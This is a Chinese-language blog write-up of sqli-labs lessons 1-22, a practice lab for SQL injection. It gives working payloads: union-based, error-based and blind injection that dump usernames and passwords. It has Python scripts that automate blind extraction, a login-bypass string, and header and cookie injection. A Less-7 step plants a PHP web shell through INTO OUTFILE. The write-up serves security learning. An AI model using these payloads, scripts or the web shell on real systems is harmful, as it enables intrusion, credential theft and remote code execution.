【sqli-labs】 page-1 Less 1-22

基础

information_chema 库

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

靶场中主要使用 tables、columns 两张表

tables 表具有table_schematable_name两个字段。

  • table_schema所属库
  • table_name表名

columns 表具有 table_schematable_namecolumn_name三个字段

  • table_schema所属库

  • table_name所属表

  • columns_name字段名

GET 传参基于报错注入

主要目标是获取用户的账号、密码

less-1

漏洞验证

# 正常显示
http://192.168.124.16:8080/Less-1/?id=1

# 错误显示
http://192.168.124.16:8080/Less-1/?id=1'

会爆出错误

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

关键点在于 ''1'' LIMIT 0,1',这里单引号是 5 个。

如果我们再多一个单引号,或者将后面语句注释掉

?id=1''
?id=1' --+

正确显示,证明这种方法可行

原因

-- SQL 语句是这样,用单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1

-- id=1' 
SELECT * FROM users WHERE id='1'' LIMIT 0,1

即:'1'' LIMIT 0,1

我们输入的单引号会跟前面形成闭合,即 '1'' LIMIT 0,1 后面那个单引号没有闭合,会产生错误

这时我们考虑给多出来的单引号配对或是注释,会解决这个问题

-- id=1''
SELECT * FROM users WHERE id='1''' LIMIT 0,1

-- id=1' --+
SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1

在此扩展一下如何判断单双引号以及是否含有括号闭合

常用闭合:数字型、字符型(单双引号、括号、混合)

1、数字型(没有闭合)

数字型特点:无论什么闭合都会错误

?id=1'		# 错误
?id=1''		# 错误

?id=1"		# 错误
?id=1""		# 错误

?id=1)		# 错误
?id=1)(		# 错误

2、字符型

1)单闭合

单闭合就是用单引号、双引号、括号中的一个进行闭合,判断方法

select username,password from users where id = '$id' limit 0,1;		# 单引号闭合的 sql 语句

# 输入奇数个单引号报错,可以判断原 sql 语句没有使用双引号
?id=1'		# 错误

# 输入偶数个单引号正确,可以判断是使用了单引号的字符型
?id=1''		# 正确

# 双引号、括号也是同理,主要查看奇数个、偶数个差别

2)混合闭合

混合闭合稍微提升了一点难度,主要是单引号+括号、双引号+括号。单引号+括号+双引号、双引号+括号+单引号少见

select username,password from users where id = ('$id') limit 0,1;	# 单引号+括号闭合的 sql 语句

# 如果输入单引号闭合
?id=1'		# 报错是显而易见的
?id=1''		# 如果是两个单引号,就不会报错

# 放进 sql 语句则是,对括号似乎没有影响
select username,password from users where id = ('$id''') limit 0,1;
# 但你会在下一步报错
?id=0' union select 1,2,3--+	# 这步必报错,放进 sql 语句查看
select username,password from users where id = ('0' union select 1,2,3 --+) limit 0,1;
# 相当于,这样当然会报错
select username,password from users where id = ('0' union select 1,2,3

# 判断方法(假如是由 单引号+括号 闭合)
?id=2' 				# 判断单引号
?id=2' and 1='1		# 判断括号
# 我们都知道:and、or 的结果不是 1 就是 0,
# id=('1') 、id=('1' and '1'),这两种情况结果相同,但不能确定括号
# id=('2') 、id=('2' and '1'),这两种情况结果不相同,是两种结果

漏洞利用

-- 常规确定字段、爆库、爆表、爆字段

-- 确定字段数
?id=0' order by 4 --+		# 4 报错
?id=0' order by 3 --+		# 3 正确,说明一共有 3 个字段

-- 确定字段使用位置
?id=0' union select 1,2,3 --+

-- 爆库

-- 爆表
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();   --+

-- 爆字段
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users';   --+

-- 
?id=0' union select 1,group_concat(username),group_concat(password) from users;   --+

less-2

漏洞验证

?id=1'		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

奇数个单引号,跟第一题一模一样

?id=1''		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' LIMIT 0,1' at line 1

这下是偶数个单引号了,有没有可能 SQL 语句没有使用单引号

?id=1 --+ 	# 正确

这下对了

漏洞利用

?id=0 order by 4 --+
?id=0 order by 3 --+

剩余步骤参考 less-1

less-3

?id=1'	 	# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

'1'') LIMIT 0,1

根据错误信息一下看出使用 ') 闭合。

less-4

漏洞验证

?id=1'  	# 正确

似乎单引号直接闭合,试试 less-3 的闭合

?id=1')  	# 正确

补充知识点:如果字符串是数字在前,其他符号在后则无视数字后的字符。

单引号不行,还剩双引号

?id=1"		# 错误

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

很明显,使用 ") 闭合

less-5

漏洞验证

?id=1'	# 错误

单引号闭合。不显示 username、password,但有报错

updatexml()、extractvalue()、floor()、ceil()
  • updatexml()、extractvalue() 较为类似

    MySQL 5.1.5 版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

updatexml(XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

extarctvalue(XML_document, XPath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)

两函数都是执行失败返回 xpath 错误内容

  • floor()、ceil() 较为复杂,利用rand() 的多次调用group by 的虚拟表的特性。虚拟表出现重复值,会返回该值

payload

1、updatexml

# updatexml 报错
# 爆库
?id=1' and updatexml('~',concat(1,database()),'~') --+
# 爆表
?id=1' and updatexml('~',concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),'~')  --+

2、extractvalue

# extractvalue 报错
# 爆库
?id=1' and extractvalue(1,concat(1,database())) --+
# 爆表
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

3、floor、ceil

# floor 报错
# ceil 与 floor 用法一致

# 爆库
# 写法一
?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x23,(database())))--+

# 写法二
?id=1' and (select * from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

# 爆表,只能一条一条显示,可以用 linit 获取全部数据
?id=1' and (select * from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

Less-6

用双引号闭合,与上一题一致

Less-7

'))闭合,要求用 outfile 方式

条件:

  • 数据库具有 secure_file_priv 权限(只能通过配置文件改)
  • 数据库具有创建/写入文件权限

靶机环境:linux 下的 docker 容器

1、查看 secure_file_priv 权限

show global variables like '%secure%';		# sql 查询 secure_file_priv 权限

cat /etc/mysql/my.cnf	|grep tmp		# linux 下查看配置文件 tmpdir = /tmp 就行

2、更改文件权限

chmod 777 /var/www/html/Less-7		# 这条改了不行就用下面的
chown -R mysql:mysql /var/www/html/Less-7	# linux 命令

payload

?id=1')) union select 1,1,"<?php eval($_GET[1])?>"  into outfile "/var/www/html/Less-7/1.php" --+

访问 http://192.168.148.131:8080/Less-7/1.php,出现下列界面说明导出成功(如果 payload 跟我一致)

验证一下:访问http://192.168.148.131:8080/Less-7/1.php?1=phpinfo()刷新,成功,这下从 SQL 注入变成 RCE

盲注

盲注分为布尔盲注、时间盲注

Less-8

单引号闭合。

正确会显示You are in...........,错误没有任何信息。非常符合盲注的特性,正确错误两个状态

漏洞验证

?id=1' and '1	# 正确
?id=1' and '0	# 错误

# 用 if 替换
?id=1' and if(2>1,1,0) # 正确

# 手工爆库,已知库名为 security,我们需要一个字母一个字母判断
# 布尔盲注
# 使用 substr 函数切片,转换成 ascii 码,二分法判断
?id=1' and if(ascii(substr(database(),1,1))>45,1,0)  --+
# 不用 ascii 码判断也行
?id=1' and if(ascii(substr(database(),1,1))='a',1,0)  --+

# 时间盲注
?id=1' and sleep(5)	# 非常明显的延迟感
?id=1' and if(2>1,sleep(5),0) # 判断正确,延迟 5 秒,错误,没有延迟

# 利用延迟感来判断是否正确
?id=1' and if(ascii(substr(database(),1,1))>45,sleep(5),0)  --+

盲注对于手工来说非常耗时,一般都是使用脚本或者 sqlmap,下面给出布尔注入的脚本,时间盲注脚本类似

python 脚本

半自动化,需要手工选择爆库、爆表、爆字段(脚本写的不行,望大佬请喷)

import requests
import string
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-8/'		# 改成你的 IP

# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串。
# ascii 码也行,最近看到 string 库,就顺便拿来用了
letter = string.ascii_lowercase + string.punctuation + string.digits
# letter = string.printable     # 包含特殊字符、数字、大小写字母
index = 1	# 初始位
st = ''		# 初始值

while True:
    limit = 1   # 防止死循环
    for i in letter:
        # 爆库
        data = f"?id=1' and if(substr((database()),{index},1)='{i}',1,0) --+"

        # # 爆表
        # data = f"?id=1' and if(substr((select group_concat(table_name) " \
        #        f"from information_schema.tables where table_schema=database()),{index},1)='{i}',1,0) --+"

        # # 爆字段
        # data = f"?id=1' and if(substr((select group_concat(column_name) " \
        #        f"from information_schema.columns where table_name='users'),{index},1)='{i}',1,0) --+"

        # # 枚举所有 password
        # data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',1,0) --+"

        # # 枚举所有 username
        # data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',1,0) --+"

        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型


        if 'You are in...........' in respond:
            st += i     # 获取正确值
            limit = 0   # 防止死循环
            print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
            index += 1  # 下一位
            break

    if st.count('+') > 10:break    # 十个连续加号代表获取完毕
    if limit == 1: break        # 防止死循环
print(st)

优化,不需要手动选择爆库、爆表,全自动化,只需要改 url

缺点:只获取某库最后一张表的 username,password 两个字段的数据,不能获取某张表或者某个库的所有数据

import requests
import string
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-8/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'password':['',True,{'name':"password",'From':"from {table}",'where':''}],
       'username':['',True,{'name':"username",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    data = f"?id=1' and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',1,0) --+"
    return data


while True:
    mark = True		# 标记,防止死循环
    # 获取最后一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]
    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        print('\r',end='')
        database = dic['database'][0]
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table" else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        if dic[keys[key_index]][2]:
            # 替 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)


        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        # print(respond)


        if 'You are in...........' in respond:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

    if dic[keys[key_index]][0].count('+')==10:  # 十个连续加号代表获取完毕
        dic[keys[key_index]][1],dic[keys[key_index]][0] = False,dic[keys[key_index]][0][:-10]
        index = 1       # 重置
        key_index += 1      


    if mark:exit('错误')	# 防止死循环

Less-9

单引号闭合,sql 语句不是数字型就是字符型,字符型通常用单双引号、括号闭合,或者混合闭合

漏洞验证

# 数字型尝试
?id=1 and 1=1
?id=1 and 1=2

# 字符型尝试
?id=1'
?id=1"
?id=1)
?id=1')
?id=1")
...

# 以上没有任何反应,是对是错不能分辨,报错注入、布尔盲注基本排除
# 考虑 sleep 函数是否可行

?id=1 and sleep(5)  --+
?id=1' and sleep(5)	 --+	# 有明显延迟感觉,可以考虑时间盲注

Less-9 源代码,很明显,故意正确错误都不显示

if($row)	# 正确
	{ 
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    echo "</font>";
  	}else {		# 错误
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	}

时间盲注脚本,由于计算机速度非常快,这里只需要延迟 0.2 秒即可。半自动化

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.124.16:8080 是我虚拟机 IP
url = 'http://192.168.124.16:8080/Less-9/'		# 改成你的 IP

# sql 特性:大小写不敏感
# 生成由小写字母、特殊符号、数字组成的字符串
# (这个顺序是我查看 sqli-lab 数据库得出来得,这个顺序比下面那个快一点)
letter = string.ascii_lowercase + string.punctuation + string.digits
# letter = string.printable     # 包含特殊字符、数字、大小写字母
index = 1	# 初始位
st = ''		# 初始值

while True:
    limit = 1   # 防止死循环
    for i in letter:
        # 爆库
        data = f"?id=1' and if(substr((database()),{index},1)='{i}',sleep(0.3),0) --+"

        # # 爆表
        # data = f"?id=1' and if(substr((select group_concat(table_name) " \
        #        f"from information_schema.tables where table_schema=database()),{index},1)='{i}',sleep(0.2),0) --+"

        # # 爆字段
        # data = f"?id=1' and if(substr((select group_concat(column_name) " \
        #        f"from information_schema.columns where table_name='users'),{index},1)='{i}',sleep(0.2),0) --+"

        # # 枚举所有 password
        # data = f"?id=1' and if(substr((select group_concat(password) from users),{index},1)='{i}',sleep(0.2),0) --+"

        # # 枚举所有 username
        # data = f"?id=1' and if(substr((select group_concat(username) from users),{index},1)='{i}',sleep(0.2),0) --+"
        
        start_time = time.perf_counter()	# 执行开始时间
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        end_time = time.perf_counter()		# 执行结束时间

        
        if end_time-start_time>=0.2:
            st += i     # 获取正确值
            limit = 0   # 代表 st 长度变化,如果 st 长度没有变化,可能是库被跑完了
            print(f'[+]----------------位数:{index:>3}位:{i} 正确,{st}')
            index += 1  # 下一位
            break

    if st.count('+') > 10:break     # + 在 sql 中被认为是空格,超过十个,可以认为是
    if limit == 1: break        # 防止死循环
print(st)

全自动化,Less-9 脚本随便改改

import requests
import string
import time
# sqli-lab 在虚拟机上运行,192.168.148.131:8080 是我虚拟机 IP
url = 'http://192.168.148.131:8080/Less-9/'		# 改成你的 IP

# sql 特性:大小写不敏感
letter = string.ascii_lowercase + string.punctuation + string.digits
index,key_index = 1,0	# 初始位

dic = {'database':['',True,{'name':'database()','From':'','where':''}],
       'table':['',True,{'name':"table_name",'From':"from information_schema.tables",'where':"where table_schema=database()"}],
       'column':['',True,{'name':"column_name",'From':"from information_schema.columns",'where':"where table_name='{table}'"}],
       'password':['',True,{'name':"password",'From':"from {table}",'where':''}],
       'username':['',True,{'name':"username",'From':"from {table}",'where':''}]
       }

keys = list(dic.keys())


def payload(name,From,where,index,i):
    data = f"?id=1' and if(substr((select group_concat({name}) {From} {where}),{index},1)='{i}',sleep(0.2),0) --+"
    return data


while True:
    mark = True		# 标记,防止死循环
    # 获取最后一张表的表名
    if dic['table'][1] == False:table = dic['table'][0].split(',')[-1]
    # 代表 库、表、字段、值 全部获取完毕,打印输出
    if key_index == 5:
        print('\r',end='')
        database = dic['database'][0]
        for i in dic:
            print(f'[+] {f"your {i}" if i=="database" else f"all {i} in your {database} database" if i=="table"  else f"all {i} in your {table} table"}:{dic[i][0]}')
        exit()

    # 组装 payload
    for i in letter:
        if dic[keys[key_index]][2]:
            # 替 payload 中的表名
            end = list(dic[keys[key_index]][2].keys())
            if '{table}' in dic[keys[key_index]][2][end[-1]]:
                dic[keys[key_index]][2][end[-1]] = dic[keys[key_index]][2][end[-1]].replace('{table}',table)
            elif '{table}' in dic[keys[key_index]][2][end[-2]]:
                dic[keys[key_index]][2][end[-2]] = dic[keys[key_index]][2][end[-2]].replace('{table}', table)
            # 获取 payload
            data = payload(*dic[keys[key_index]][2].values(),index=index,i=i)

        time_start = time.perf_counter()
        respond = requests.get(url+data)    # 获取页面代码
        respond = respond.text  # 解析成字符串类型
        time_end = time.perf_counter()



        if time_end -  time_start>0.2:
            dic[keys[key_index]][0] += i
            print('\r',dic[keys[key_index]][0],end = '')
            index += 1  # 下一位
            mark = False    # 防止死循环
            break

    if dic[keys[key_index]][0].count('+')==10:  # 十个连续加号代表获取完毕
        dic[keys[key_index]][1],dic[keys[key_index]][0] = False,dic[keys[key_index]][0][:-10]
        index = 1       # 重置
        key_index += 1


    if mark:exit('错误')	# 防止死循环

Less-10

双引号闭合,将 Less-9 脚本中的所有单双引号对调即可

PSOT 传参基于报错注入

主要目标是登录成功

Less-11

漏洞验证

uname	1'
passwd 1234

错误信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1234' LIMIT 0,1' at line 1

我们在 uname 框输入单引号,但错误信息中1234' LIMIT 0,1这部分似乎是我们输入的密码,而我们密码并没有输入单引号。猜测部分 SQL 语句为:

where uname = '$uname' and passwd = '$passwd' limit 0,1

原本闭合应该是这样:where uname = '1'' and passwd = '1234' limit 0,1

但实际上却变成这样:where uname = '1'' and passwd = '1234' limit 0,1

单引号闭合

如果 where 条件变成:where 1 那么相当于没有 where 条件限制

万能密码:

uname	0' or 1=1 #
passwd	1234

Less-12

")闭合

Less-13

')闭合

Less-14

"闭合

Less-15 无回显

SQL 语句闭合不外乎'")三种或是它们组合

uname	admin' and sleep(3)#
passwd	1234

'闭合

Less-16 无回显

")闭合

Less-17 密码重置页面

页面给出提示,很显然 SQL 语句应该是 update

[PASSWORD RESET]

后端对 uname 进行过滤,单双引号都会出现提示。可以尝试对 passwd 进行注入

uname	admin
passwd	1'

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1

有报错信息就使用报错注入

uname	admin
passwd	1' and updatexml(1,concat(1,database()),1)#

updatexml 常规爆库爆表

记得将 admin 密码修改回来

HTTP 协议

Less-18

页面信息,获取了本机 IP

Your IP ADDRESS is: 192.168.124.2

uname、passwd 框,单双引号、括号都不行,用正确的账号密码登录

uname	admin
passwd	admin

正确登录后发现,页面获取了 HTTP 的 UA 头

Your User Agent is: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

也许可以在 UA 头搞事情

抓包,F12,再次提交正确的账号密码

1)找到网络,打开数据包

2)重发数据包(最右侧)

3)修改数据包内容,主要修改 UA 头,修改后发送

4)查看响应内容(选择最新的数据包,被选中的数据包是蓝色),有报错信息,可以使用报错注入(注意闭合条件)

5)爆库

Less-19

先正确登录,账号:admin,密码:admin

Your Referer is: http://192.168.124.16:8080/Less-19/

提示 referer ,burp 抓包

1)修改 referer 头,添加单引号,报错,说明单引号闭合

2)单引号闭合,但最后需要添加 )

爆库

Less-20

先正确登录,账号:admin,密码:admin

界面如下,提示 cookie

1)F12,找到 cookie

2)修改 cookie

3)爆库

Less-21

同样使用 admin 登录,发现 cookie 中 uname 值不是 admin

YOUR COOKIE : uname = YWRtaW4= and expires: Sun 19 Nov 2023 - 11:52:49

很典型的 base64 编码特征

方法及步骤与 Less-20 一致,将 Less-20 的 payload 用 base64 编码一下就好

Less-22

方法与步骤同 Less-21,注意闭合

posted @ 2023-12-08 22:17  kazie  阅读(37)  评论(0编辑  收藏  举报